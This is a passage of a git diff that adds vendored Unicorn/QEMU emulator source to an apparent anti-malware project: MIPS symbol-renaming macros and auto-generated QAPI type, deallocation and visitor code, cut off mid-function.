helper_cmpabs_ps_un_mipsel +#define helper_cmp_ps_eq helper_cmp_ps_eq_mipsel +#define helper_cmpabs_ps_eq helper_cmpabs_ps_eq_mipsel +#define helper_cmp_ps_ueq helper_cmp_ps_ueq_mipsel +#define helper_cmpabs_ps_ueq helper_cmpabs_ps_ueq_mipsel +#define helper_cmp_ps_olt helper_cmp_ps_olt_mipsel +#define helper_cmpabs_ps_olt helper_cmpabs_ps_olt_mipsel +#define helper_cmp_ps_ult helper_cmp_ps_ult_mipsel +#define helper_cmpabs_ps_ult helper_cmpabs_ps_ult_mipsel +#define helper_cmp_ps_ole helper_cmp_ps_ole_mipsel +#define helper_cmpabs_ps_ole helper_cmpabs_ps_ole_mipsel +#define helper_cmp_ps_ule helper_cmp_ps_ule_mipsel +#define helper_cmpabs_ps_ule helper_cmpabs_ps_ule_mipsel +#define helper_cmp_ps_sf helper_cmp_ps_sf_mipsel +#define helper_cmpabs_ps_sf helper_cmpabs_ps_sf_mipsel +#define helper_cmp_ps_ngle helper_cmp_ps_ngle_mipsel +#define helper_cmpabs_ps_ngle helper_cmpabs_ps_ngle_mipsel +#define helper_cmp_ps_seq helper_cmp_ps_seq_mipsel +#define helper_cmpabs_ps_seq helper_cmpabs_ps_seq_mipsel +#define helper_cmp_ps_ngl helper_cmp_ps_ngl_mipsel +#define helper_cmpabs_ps_ngl helper_cmpabs_ps_ngl_mipsel +#define helper_cmp_ps_lt helper_cmp_ps_lt_mipsel +#define helper_cmpabs_ps_lt helper_cmpabs_ps_lt_mipsel +#define helper_cmp_ps_nge helper_cmp_ps_nge_mipsel +#define helper_cmpabs_ps_nge helper_cmpabs_ps_nge_mipsel +#define helper_cmp_ps_le helper_cmp_ps_le_mipsel +#define helper_cmpabs_ps_le helper_cmpabs_ps_le_mipsel +#define helper_cmp_ps_ngt helper_cmp_ps_ngt_mipsel +#define helper_cmpabs_ps_ngt helper_cmpabs_ps_ngt_mipsel +#define helper_r6_cmp_d_af helper_r6_cmp_d_af_mipsel +#define helper_r6_cmp_d_un helper_r6_cmp_d_un_mipsel +#define helper_r6_cmp_d_eq helper_r6_cmp_d_eq_mipsel +#define helper_r6_cmp_d_ueq helper_r6_cmp_d_ueq_mipsel +#define helper_r6_cmp_d_lt helper_r6_cmp_d_lt_mipsel +#define helper_r6_cmp_d_ult helper_r6_cmp_d_ult_mipsel +#define helper_r6_cmp_d_le helper_r6_cmp_d_le_mipsel +#define helper_r6_cmp_d_ule helper_r6_cmp_d_ule_mipsel +#define helper_r6_cmp_d_saf helper_r6_cmp_d_saf_mipsel +#define helper_r6_cmp_d_sun helper_r6_cmp_d_sun_mipsel +#define helper_r6_cmp_d_seq helper_r6_cmp_d_seq_mipsel +#define helper_r6_cmp_d_sueq helper_r6_cmp_d_sueq_mipsel +#define helper_r6_cmp_d_slt helper_r6_cmp_d_slt_mipsel +#define helper_r6_cmp_d_sult helper_r6_cmp_d_sult_mipsel +#define helper_r6_cmp_d_sle helper_r6_cmp_d_sle_mipsel +#define helper_r6_cmp_d_sule helper_r6_cmp_d_sule_mipsel +#define helper_r6_cmp_d_or helper_r6_cmp_d_or_mipsel +#define helper_r6_cmp_d_une helper_r6_cmp_d_une_mipsel +#define helper_r6_cmp_d_ne helper_r6_cmp_d_ne_mipsel +#define helper_r6_cmp_d_sor helper_r6_cmp_d_sor_mipsel +#define helper_r6_cmp_d_sune helper_r6_cmp_d_sune_mipsel +#define helper_r6_cmp_d_sne helper_r6_cmp_d_sne_mipsel +#define helper_r6_cmp_s_af helper_r6_cmp_s_af_mipsel +#define helper_r6_cmp_s_un helper_r6_cmp_s_un_mipsel +#define helper_r6_cmp_s_eq helper_r6_cmp_s_eq_mipsel +#define helper_r6_cmp_s_ueq helper_r6_cmp_s_ueq_mipsel +#define helper_r6_cmp_s_lt helper_r6_cmp_s_lt_mipsel +#define helper_r6_cmp_s_ult helper_r6_cmp_s_ult_mipsel +#define helper_r6_cmp_s_le helper_r6_cmp_s_le_mipsel +#define helper_r6_cmp_s_ule helper_r6_cmp_s_ule_mipsel +#define helper_r6_cmp_s_saf helper_r6_cmp_s_saf_mipsel +#define helper_r6_cmp_s_sun helper_r6_cmp_s_sun_mipsel +#define helper_r6_cmp_s_seq helper_r6_cmp_s_seq_mipsel +#define helper_r6_cmp_s_sueq helper_r6_cmp_s_sueq_mipsel +#define helper_r6_cmp_s_slt helper_r6_cmp_s_slt_mipsel +#define helper_r6_cmp_s_sult helper_r6_cmp_s_sult_mipsel +#define helper_r6_cmp_s_sle helper_r6_cmp_s_sle_mipsel +#define helper_r6_cmp_s_sule helper_r6_cmp_s_sule_mipsel +#define helper_r6_cmp_s_or helper_r6_cmp_s_or_mipsel +#define helper_r6_cmp_s_une helper_r6_cmp_s_une_mipsel +#define helper_r6_cmp_s_ne helper_r6_cmp_s_ne_mipsel +#define helper_r6_cmp_s_sor helper_r6_cmp_s_sor_mipsel +#define helper_r6_cmp_s_sune helper_r6_cmp_s_sune_mipsel +#define helper_r6_cmp_s_sne helper_r6_cmp_s_sne_mipsel +#define helper_msa_ld_df helper_msa_ld_df_mipsel +#define helper_msa_st_df helper_msa_st_df_mipsel +#define no_mmu_map_address no_mmu_map_address_mipsel +#define fixed_mmu_map_address fixed_mmu_map_address_mipsel +#define r4k_map_address r4k_map_address_mipsel +#define mips_cpu_get_phys_page_debug mips_cpu_get_phys_page_debug_mipsel +#define mips_cpu_handle_mmu_fault mips_cpu_handle_mmu_fault_mipsel +#define cpu_mips_translate_address cpu_mips_translate_address_mipsel +#define exception_resume_pc exception_resume_pc_mipsel +#define mips_cpu_do_interrupt mips_cpu_do_interrupt_mipsel +#define mips_cpu_exec_interrupt mips_cpu_exec_interrupt_mipsel +#define r4k_invalidate_tlb r4k_invalidate_tlb_mipsel +#define helper_absq_s_ob helper_absq_s_ob_mipsel +#define helper_absq_s_qh helper_absq_s_qh_mipsel +#define helper_absq_s_pw helper_absq_s_pw_mipsel +#define helper_adduh_ob helper_adduh_ob_mipsel +#define helper_adduh_r_ob helper_adduh_r_ob_mipsel +#define helper_subuh_ob helper_subuh_ob_mipsel +#define helper_subuh_r_ob helper_subuh_r_ob_mipsel +#define helper_addq_pw helper_addq_pw_mipsel +#define helper_addq_qh helper_addq_qh_mipsel +#define helper_addq_s_pw helper_addq_s_pw_mipsel +#define helper_addq_s_qh helper_addq_s_qh_mipsel +#define helper_addu_ob helper_addu_ob_mipsel +#define helper_addu_qh helper_addu_qh_mipsel +#define helper_addu_s_ob helper_addu_s_ob_mipsel +#define helper_addu_s_qh helper_addu_s_qh_mipsel +#define helper_subq_pw helper_subq_pw_mipsel +#define helper_subq_qh helper_subq_qh_mipsel +#define helper_subq_s_pw helper_subq_s_pw_mipsel +#define helper_subq_s_qh helper_subq_s_qh_mipsel +#define helper_subu_ob helper_subu_ob_mipsel +#define helper_subu_qh helper_subu_qh_mipsel +#define helper_subu_s_ob helper_subu_s_ob_mipsel +#define helper_subu_s_qh helper_subu_s_qh_mipsel +#define helper_raddu_l_ob helper_raddu_l_ob_mipsel +#define helper_precr_ob_qh helper_precr_ob_qh_mipsel +#define helper_precr_sra_qh_pw helper_precr_sra_qh_pw_mipsel +#define helper_precr_sra_r_qh_pw helper_precr_sra_r_qh_pw_mipsel +#define helper_precrq_ob_qh helper_precrq_ob_qh_mipsel +#define helper_precrq_qh_pw helper_precrq_qh_pw_mipsel +#define helper_precrq_rs_qh_pw helper_precrq_rs_qh_pw_mipsel +#define helper_precrq_pw_l helper_precrq_pw_l_mipsel +#define helper_precrqu_s_ob_qh helper_precrqu_s_ob_qh_mipsel +#define helper_preceq_pw_qhl helper_preceq_pw_qhl_mipsel +#define helper_preceq_pw_qhr helper_preceq_pw_qhr_mipsel +#define helper_preceq_pw_qhla helper_preceq_pw_qhla_mipsel +#define helper_preceq_pw_qhra helper_preceq_pw_qhra_mipsel +#define helper_precequ_qh_obl helper_precequ_qh_obl_mipsel +#define helper_precequ_qh_obr helper_precequ_qh_obr_mipsel +#define helper_precequ_qh_obla helper_precequ_qh_obla_mipsel +#define helper_precequ_qh_obra helper_precequ_qh_obra_mipsel +#define helper_preceu_qh_obl helper_preceu_qh_obl_mipsel +#define helper_preceu_qh_obr helper_preceu_qh_obr_mipsel +#define helper_preceu_qh_obla helper_preceu_qh_obla_mipsel +#define helper_preceu_qh_obra helper_preceu_qh_obra_mipsel +#define helper_shll_ob helper_shll_ob_mipsel +#define helper_shrl_ob helper_shrl_ob_mipsel +#define helper_shra_ob helper_shra_ob_mipsel +#define helper_shra_r_ob helper_shra_r_ob_mipsel +#define helper_shll_qh helper_shll_qh_mipsel +#define helper_shll_s_qh helper_shll_s_qh_mipsel +#define helper_shrl_qh helper_shrl_qh_mipsel +#define helper_shra_qh helper_shra_qh_mipsel +#define helper_shra_r_qh helper_shra_r_qh_mipsel +#define helper_shll_pw helper_shll_pw_mipsel +#define helper_shll_s_pw helper_shll_s_pw_mipsel +#define helper_shra_pw helper_shra_pw_mipsel +#define helper_shra_r_pw helper_shra_r_pw_mipsel +#define helper_muleu_s_qh_obl helper_muleu_s_qh_obl_mipsel +#define helper_muleu_s_qh_obr helper_muleu_s_qh_obr_mipsel +#define helper_mulq_rs_qh helper_mulq_rs_qh_mipsel +#define helper_muleq_s_pw_qhl helper_muleq_s_pw_qhl_mipsel +#define helper_muleq_s_pw_qhr helper_muleq_s_pw_qhr_mipsel +#define helper_mulsaq_s_w_qh helper_mulsaq_s_w_qh_mipsel +#define helper_dpau_h_obl helper_dpau_h_obl_mipsel +#define helper_dpau_h_obr helper_dpau_h_obr_mipsel +#define helper_dpsu_h_obl helper_dpsu_h_obl_mipsel +#define helper_dpsu_h_obr helper_dpsu_h_obr_mipsel +#define helper_dpa_w_qh helper_dpa_w_qh_mipsel +#define helper_dpaq_s_w_qh helper_dpaq_s_w_qh_mipsel +#define helper_dps_w_qh helper_dps_w_qh_mipsel +#define helper_dpsq_s_w_qh helper_dpsq_s_w_qh_mipsel +#define helper_dpaq_sa_l_pw helper_dpaq_sa_l_pw_mipsel +#define helper_dpsq_sa_l_pw helper_dpsq_sa_l_pw_mipsel +#define helper_mulsaq_s_l_pw helper_mulsaq_s_l_pw_mipsel +#define helper_maq_s_w_qhll helper_maq_s_w_qhll_mipsel +#define helper_maq_s_w_qhlr helper_maq_s_w_qhlr_mipsel +#define helper_maq_s_w_qhrl helper_maq_s_w_qhrl_mipsel +#define helper_maq_s_w_qhrr helper_maq_s_w_qhrr_mipsel +#define helper_maq_sa_w_qhll helper_maq_sa_w_qhll_mipsel +#define helper_maq_sa_w_qhlr helper_maq_sa_w_qhlr_mipsel +#define helper_maq_sa_w_qhrl helper_maq_sa_w_qhrl_mipsel +#define helper_maq_sa_w_qhrr helper_maq_sa_w_qhrr_mipsel +#define helper_maq_s_l_pwl helper_maq_s_l_pwl_mipsel +#define helper_maq_s_l_pwr helper_maq_s_l_pwr_mipsel +#define helper_dmadd helper_dmadd_mipsel +#define helper_dmaddu helper_dmaddu_mipsel +#define helper_dmsub helper_dmsub_mipsel +#define helper_dmsubu helper_dmsubu_mipsel +#define helper_dinsv helper_dinsv_mipsel +#define helper_cmpgu_eq_ob helper_cmpgu_eq_ob_mipsel +#define helper_cmpgu_lt_ob helper_cmpgu_lt_ob_mipsel +#define helper_cmpgu_le_ob helper_cmpgu_le_ob_mipsel +#define helper_cmpu_eq_ob helper_cmpu_eq_ob_mipsel +#define helper_cmpu_lt_ob helper_cmpu_lt_ob_mipsel +#define helper_cmpu_le_ob helper_cmpu_le_ob_mipsel +#define helper_cmp_eq_qh helper_cmp_eq_qh_mipsel +#define helper_cmp_lt_qh helper_cmp_lt_qh_mipsel +#define helper_cmp_le_qh helper_cmp_le_qh_mipsel +#define helper_cmp_eq_pw helper_cmp_eq_pw_mipsel +#define helper_cmp_lt_pw helper_cmp_lt_pw_mipsel +#define helper_cmp_le_pw helper_cmp_le_pw_mipsel +#define helper_cmpgdu_eq_ob helper_cmpgdu_eq_ob_mipsel +#define helper_cmpgdu_lt_ob helper_cmpgdu_lt_ob_mipsel +#define helper_cmpgdu_le_ob helper_cmpgdu_le_ob_mipsel +#define helper_pick_ob helper_pick_ob_mipsel +#define helper_pick_qh helper_pick_qh_mipsel +#define helper_pick_pw helper_pick_pw_mipsel +#define helper_packrl_pw helper_packrl_pw_mipsel +#define helper_dextr_w helper_dextr_w_mipsel +#define helper_dextr_r_w helper_dextr_r_w_mipsel +#define helper_dextr_rs_w helper_dextr_rs_w_mipsel +#define helper_dextr_l helper_dextr_l_mipsel +#define helper_dextr_r_l helper_dextr_r_l_mipsel +#define helper_dextr_rs_l helper_dextr_rs_l_mipsel +#define helper_dextr_s_h helper_dextr_s_h_mipsel +#define helper_dextp helper_dextp_mipsel +#define helper_dextpdp helper_dextpdp_mipsel +#define helper_dshilo helper_dshilo_mipsel +#define helper_dmthlip helper_dmthlip_mipsel +#define helper_dclo helper_dclo_mipsel +#define helper_dclz helper_dclz_mipsel +#define helper_dbitswap helper_dbitswap_mipsel +#define helper_lld helper_lld_mipsel +#define helper_scd helper_scd_mipsel +#define helper_sdl helper_sdl_mipsel +#define helper_sdr helper_sdr_mipsel +#define helper_ldm helper_ldm_mipsel +#define helper_sdm helper_sdm_mipsel +#define helper_dmfc0_tcrestart helper_dmfc0_tcrestart_mipsel +#define helper_dmfc0_tchalt helper_dmfc0_tchalt_mipsel +#define helper_dmfc0_tccontext helper_dmfc0_tccontext_mipsel +#define helper_dmfc0_tcschedule helper_dmfc0_tcschedule_mipsel +#define helper_dmfc0_tcschefback helper_dmfc0_tcschefback_mipsel +#define helper_dmfc0_lladdr helper_dmfc0_lladdr_mipsel +#define helper_dmfc0_watchlo helper_dmfc0_watchlo_mipsel +#define helper_dmtc0_entrylo0 helper_dmtc0_entrylo0_mipsel +#define helper_dmtc0_entrylo1 helper_dmtc0_entrylo1_mipsel +#define mips_reg_reset mips_reg_reset_mipsel +#define mips_reg_read mips_reg_read_mipsel +#define mips_reg_write mips_reg_write_mipsel +#define mips_tcg_init mips_tcg_init_mipsel +#define mips_cpu_list mips_cpu_list_mipsel +#define mips_release mips_release_mipsel +#define MIPS64_REGS_STORAGE_SIZE MIPS64_REGS_STORAGE_SIZE_mipsel +#define MIPS_REGS_STORAGE_SIZE MIPS_REGS_STORAGE_SIZE_mipsel +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.c new file mode 100644 index 0000000..173c654 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.c @@ -0,0 +1,293 @@ +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * deallocation functions for schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * Michael Roth + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/dealloc-visitor.h" +#include "qapi-types.h" +#include "qapi-visit.h" + +const char *ErrorClass_lookup[] = { + "GenericError", + "CommandNotFound", + "DeviceEncrypted", + "DeviceNotActive", + "DeviceNotFound", + "KVMMissingCap", + NULL, +}; + +const char *X86CPURegister32_lookup[] = { + "EAX", + "EBX", + "ECX", + "EDX", + "ESP", + "EBP", + "ESI", + "EDI", + NULL, +}; + + +#ifndef QAPI_TYPES_BUILTIN_CLEANUP_DEF_H +#define QAPI_TYPES_BUILTIN_CLEANUP_DEF_H + + +void qapi_free_strList(strList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_strList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_intList(intList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_intList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_numberList(numberList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_numberList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_boolList(boolList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_boolList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int8List(int8List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int8List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int16List(int16List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int16List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int32List(int32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int64List(int64List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int64List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint8List(uint8List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint8List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint16List(uint16List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint16List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint32List(uint32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint64List(uint64List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint64List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +#endif /* QAPI_TYPES_BUILTIN_CLEANUP_DEF_H */ + + +void qapi_free_ErrorClassList(ErrorClassList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_ErrorClassList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPURegister32List(X86CPURegister32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPURegister32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPUFeatureWordInfoList(X86CPUFeatureWordInfoList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPUFeatureWordInfoList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPUFeatureWordInfo(X86CPUFeatureWordInfo *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPUFeatureWordInfo(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.h b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.h new file mode 100644 index 0000000..944e882 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-types.h @@ -0,0 +1,228 @@ +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QAPI_TYPES_H +#define QAPI_TYPES_H + +#include "unicorn/platform.h" + + +#ifndef QAPI_TYPES_BUILTIN_STRUCT_DECL_H +#define QAPI_TYPES_BUILTIN_STRUCT_DECL_H + + +typedef struct strList +{ + union { + char *value; + uint64_t padding; + }; + struct strList *next; +} strList; + +typedef struct intList +{ + union { + int64_t value; + uint64_t padding; + }; + struct intList *next; +} intList; + +typedef struct numberList +{ + union { + double value; + uint64_t padding; + }; + struct numberList *next; +} numberList; + +typedef struct boolList +{ + union { + bool value; + uint64_t padding; + }; + struct boolList *next; +} boolList; + +typedef struct int8List +{ + union { + int8_t value; + uint64_t padding; + }; + struct int8List *next; +} int8List; + +typedef struct int16List +{ + union { + int16_t value; + uint64_t padding; + }; + struct int16List *next; +} int16List; + +typedef struct int32List +{ + union { + int32_t value; + uint64_t padding; + }; + struct int32List *next; +} int32List; + +typedef struct int64List +{ + union { + int64_t value; + uint64_t padding; + }; + struct int64List *next; +} int64List; + +typedef struct uint8List +{ + union { + uint8_t value; + uint64_t padding; + }; + struct uint8List *next; +} uint8List; + +typedef struct uint16List +{ + union { + uint16_t value; + uint64_t padding; + }; + struct uint16List *next; +} uint16List; + +typedef struct uint32List +{ + union { + uint32_t value; + uint64_t padding; + }; + struct uint32List *next; +} uint32List; + +typedef struct uint64List +{ + union { + uint64_t value; + uint64_t padding; + }; + struct uint64List *next; +} uint64List; + +#endif /* QAPI_TYPES_BUILTIN_STRUCT_DECL_H */ + + +extern const char *ErrorClass_lookup[]; +typedef enum ErrorClass +{ + ERROR_CLASS_GENERIC_ERROR = 0, + ERROR_CLASS_COMMAND_NOT_FOUND = 1, + ERROR_CLASS_DEVICE_ENCRYPTED = 2, + ERROR_CLASS_DEVICE_NOT_ACTIVE = 3, + ERROR_CLASS_DEVICE_NOT_FOUND = 4, + ERROR_CLASS_KVM_MISSING_CAP = 5, + ERROR_CLASS_MAX = 6, +} ErrorClass; + +typedef struct ErrorClassList +{ + union { + ErrorClass value; + uint64_t padding; + }; + struct ErrorClassList *next; +} ErrorClassList; + +extern const char *X86CPURegister32_lookup[]; +typedef enum X86CPURegister32 +{ + X86_CPU_REGISTER32_EAX = 0, + X86_CPU_REGISTER32_EBX = 1, + X86_CPU_REGISTER32_ECX = 2, + X86_CPU_REGISTER32_EDX = 3, + X86_CPU_REGISTER32_ESP = 4, + X86_CPU_REGISTER32_EBP = 5, + X86_CPU_REGISTER32_ESI = 6, + X86_CPU_REGISTER32_EDI = 7, + X86_CPU_REGISTER32_MAX = 8, +} X86CPURegister32; + +typedef struct X86CPURegister32List +{ + union { + X86CPURegister32 value; + uint64_t padding; + }; + struct X86CPURegister32List *next; +} X86CPURegister32List; + + +typedef struct X86CPUFeatureWordInfo X86CPUFeatureWordInfo; + +typedef struct X86CPUFeatureWordInfoList +{ + union { + X86CPUFeatureWordInfo *value; + uint64_t padding; + }; + struct X86CPUFeatureWordInfoList *next; +} X86CPUFeatureWordInfoList; + +#ifndef QAPI_TYPES_BUILTIN_CLEANUP_DECL_H +#define QAPI_TYPES_BUILTIN_CLEANUP_DECL_H + +void qapi_free_strList(strList *obj); +void qapi_free_intList(intList *obj); +void qapi_free_numberList(numberList *obj); +void qapi_free_boolList(boolList *obj); +void qapi_free_int8List(int8List *obj); +void qapi_free_int16List(int16List *obj); +void qapi_free_int32List(int32List *obj); +void qapi_free_int64List(int64List *obj); +void qapi_free_uint8List(uint8List *obj); +void qapi_free_uint16List(uint16List *obj); +void qapi_free_uint32List(uint32List *obj); +void qapi_free_uint64List(uint64List *obj); + +#endif /* QAPI_TYPES_BUILTIN_CLEANUP_DECL_H */ + + +void qapi_free_ErrorClassList(ErrorClassList *obj); + +void qapi_free_X86CPURegister32List(X86CPURegister32List *obj); + +struct X86CPUFeatureWordInfo +{ + int64_t cpuid_input_eax; + bool has_cpuid_input_ecx; + int64_t cpuid_input_ecx; + X86CPURegister32 cpuid_register; + int64_t features; +}; + +void qapi_free_X86CPUFeatureWordInfoList(X86CPUFeatureWordInfoList *obj); +void qapi_free_X86CPUFeatureWordInfo(X86CPUFeatureWordInfo *obj); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.c new file mode 100644 index 0000000..7733bb5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi-visit.c @@ -0,0 +1,428 @@ +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qemu-common.h" +#include "qapi-visit.h" + +void visit_type_strList(Visitor *m, strList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + strList *native_i = (strList *)i; + visit_type_str(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_intList(Visitor *m, intList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + intList *native_i = (intList *)i; + visit_type_int(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_numberList(Visitor *m, numberList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + numberList *native_i = (numberList *)i; + visit_type_number(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_boolList(Visitor *m, boolList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + boolList *native_i = (boolList *)i; + visit_type_bool(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int8List(Visitor *m, int8List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int8List *native_i = (int8List *)i; + visit_type_int8(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int16List(Visitor *m, int16List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int16List *native_i = (int16List *)i; + visit_type_int16(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int32List(Visitor *m, int32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int32List *native_i = (int32List *)i; + visit_type_int32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int64List(Visitor *m, int64List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int64List *native_i = (int64List *)i; + visit_type_int64(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint8List(Visitor *m, uint8List **obj, const char *name, Error **errp) +{ + Error *err = 